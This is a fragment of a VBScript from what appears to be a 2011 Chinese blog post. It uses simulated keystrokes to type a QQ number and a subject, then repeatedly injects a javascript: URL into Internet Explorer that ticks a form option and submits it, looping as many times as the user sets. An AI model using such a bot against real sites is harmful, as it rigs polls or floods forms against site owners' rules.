WshShell.SendKeys "Subject/"
WScript.Sleep 100
WshShell.SendKeys "20061106/"
WScript.Sleep 100
WshShell.SendKeys "{ 5}"
WScript.Sleep 100
WshShell.SendKeys "QQ"
WScript.Sleep 100
WshShell.SendKeys "(+;)"
WScript.Sleep 100
WshShell.SendKeys "1"
WScript.Sleep 100
WshShell.SendKeys "0"
WScript.Sleep 100
WshShell.SendKeys "6"
WScript.Sleep 100
WshShell.SendKeys "4"
WScript.Sleep 100
WshShell.SendKeys "5"
WScript.Sleep 100
WshShell.SendKeys "6"
WScript.Sleep 100
WshShell.SendKeys "2"
WScript.Sleep 100
WshShell.SendKeys "1"
WScript.Sleep 100
WshShell.SendKeys "3"
WScript.Sleep 100
WshShell.SendKeys "{BS 17}"
WScript.Sleep 100
WshShell.SendKeys "{ENTER}"
WScript.Sleep 3000

for i=1 to CInt(num)
WshShell.AppActivate "Internet Explorer" 
WScript.Sleep 500
WshShell.SendKeys "{F6}"
WshShell.SendKeys "javascript:void"
WshShell.SendKeys "+9"
WshShell.SendKeys "form1.elements[1].checked=true,document.form1.submit"
WshShell.SendKeys "+9"
WshShell.SendKeys "+0"
WshShell.SendKeys "+0" 
WshShell.SendKeys ";"
WshShell.SendKeys "{ENTER}" 
WScript.Sleep 600
WshShell.SendKeys "{ENTER}"
WScript.Sleep 1000
WshShell.SendKeys "{ENTER}"
WScript.Sleep Cint(times)*1000
next
msgbox "程序执行完毕了,如果你觉得好用,请设置大点数值,然後去睡觉吧,一切让它自动去完成吧!"&vbNewline&"感谢您使用『恋婷娱乐秀』♀最爱丁香花♂程序"&vbNewline&"网址:xbnz。126。com "
else
WScript.Quit
end if
posted on 2011-07-15 16:20  ryhan  阅读(2682)  评论(0编辑  收藏  举报